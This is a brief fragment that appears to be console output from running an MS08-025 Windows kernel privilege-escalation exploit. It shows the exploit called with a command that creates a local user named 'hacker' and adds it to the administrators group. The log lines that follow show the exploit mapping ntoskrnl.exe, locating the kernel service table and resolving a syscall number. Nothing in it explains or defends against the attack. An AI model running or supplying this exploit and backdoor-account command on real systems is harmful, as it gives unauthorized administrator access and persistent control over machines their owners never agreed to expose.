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MS08025 “cmd.exe /c net user hacker hacker /add & net localgroup administrators hacker /add”
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[*] Mapping ntoskrnl.exe … ok
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[*] KiServiceTable == 8082C734
[*] Get ZwVdmControl Number … ok!
[*] ZwVdmControl Call Number: 0000010C
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